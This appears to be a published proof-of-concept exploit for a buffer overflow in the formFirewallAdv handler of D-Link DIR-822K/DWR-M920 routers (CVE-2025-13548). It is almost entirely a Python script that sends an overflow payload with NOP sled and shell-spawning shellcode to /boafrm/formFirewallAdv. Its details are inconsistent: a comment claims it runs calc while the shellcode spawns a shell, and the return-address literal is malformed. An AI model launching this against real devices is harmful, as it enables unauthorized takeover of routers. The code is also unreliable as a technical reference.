D-Link DIR-822K/DWR-M920 formFirewallAdv缓冲区溢出漏洞(CVE-2025-13548)

import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://192.168.1.1' # Buffer overflow payload for submit-url parameter # EIP offset: 1024 bytes (adjust based on firmware version) offset = 1024 # Return address (adjust for specific firmware) ret_addr = b'\x41414141' # NOP sled + shellcode (execute calc for demonstration) nop_sled = b'\x90' * 100 # Simple shellcode - spawn shell shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' payload = b'A' * offset + ret_addr + nop_sled + shellcode # Send exploit request data = { 'submit-url': payload.decode('latin-1'), 'submit-button': 'save' } try: response = requests.post(f'{target}/boafrm/formFirewallAdv', data=data, timeout=5) print(f'[+] Exploit sent to {target}') print(f'[+] Payload length: {len(payload)} bytes') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')